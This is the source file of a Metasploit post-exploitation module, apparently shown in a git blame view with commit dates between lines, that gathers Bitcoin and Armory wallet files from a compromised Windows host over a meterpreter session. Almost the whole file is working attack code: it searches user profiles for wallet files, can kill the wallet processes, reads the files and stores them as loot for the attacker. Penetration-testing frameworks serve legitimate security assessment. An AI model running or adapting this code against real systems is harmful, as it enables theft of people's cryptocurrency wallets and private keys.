metasploit-framework/modules/post/windows/gather/bitcoin_jacker.rb

116 lines
3.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
2012-10-23 18:24:05 +00:00
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
2013-08-30 21:28:54 +00:00
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Bitcoin Wallet',
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module downloads any Bitcoin wallet files from the target
system. It currently supports both the classic Satoshi wallet and the
more recent Armory wallets. Note that Satoshi wallets tend to be
unencrypted by default, while Armory wallets tend to be encrypted by default.
2013-08-30 21:28:54 +00:00
},
'License' => MSF_LICENSE,
'Author' => [
'illwill <illwill[at]illmob.org>', # Original implementation
2013-12-30 17:45:52 +00:00
'todb' # Added Armory support
],
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
2013-08-30 21:28:54 +00:00
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
], self.class)
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def run
print_status("Checking all user profiles for Bitcoin wallets...")
found_wallets = false
2013-08-30 21:28:54 +00:00
grab_user_profiles().each do |user|
2013-12-29 00:57:04 +00:00
next unless user['AppData']
bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
2013-12-29 16:59:15 +00:00
next unless file?(bitcoin_wallet_path)
found_wallets = true
jack_wallet(bitcoin_wallet_path)
armory_wallet_path = user['AppData'] + "\\Armory"
session.fs.dir.foreach(armory_wallet_path) do |fname|
next unless fname =~ /\.wallet/
found_wallets = true
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
jack_wallet(armory_wallet_fullpath)
end
end
unless found_wallets
print_warning "No wallets found, nothing to do."
2013-08-30 21:28:54 +00:00
end
end
def jack_wallet(wallet_path)
2013-12-29 16:59:15 +00:00
data = ""
wallet_type = case wallet_path
when /\.wallet$/
:armory
when /wallet\.dat$/
:satoshi
else
:unknown
end
if wallet_type == :unknown
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
return
end
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
print_status("Jackin' wallet...")
kill_bitcoin_processes if datastore['KILL_PROCESSES']
2013-08-30 21:28:54 +00:00
begin
data = read_file(wallet_path) || ''
2013-08-30 21:28:54 +00:00
rescue ::Exception => e
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
2013-08-30 21:28:54 +00:00
return
end
2013-08-30 21:28:54 +00:00
if data.empty?
print_error("No data found, nothing to save.")
2013-08-30 21:28:54 +00:00
else
loot_result = store_loot(
"bitcoin.wallet.#{wallet_type}",
2013-08-30 21:28:54 +00:00
"application/octet-stream",
session,
data,
wallet_path,
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
2013-08-30 21:28:54 +00:00
)
print_status("Wallet jacked: #{loot_result}")
2013-08-30 21:28:54 +00:00
end
end
def kill_bitcoin_processes
2013-12-29 00:57:04 +00:00
client.sys.process.get_processes().each do |process|
2013-12-29 16:59:15 +00:00
pname = process['name'].downcase
if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
2013-12-29 00:57:04 +00:00
print_status("#{process['name']} Process Found...")
print_status("Killing Process ID #{process['pid']}...")
session.sys.process.kill(process['pid'])
2013-08-30 21:28:54 +00:00
end
end
end
end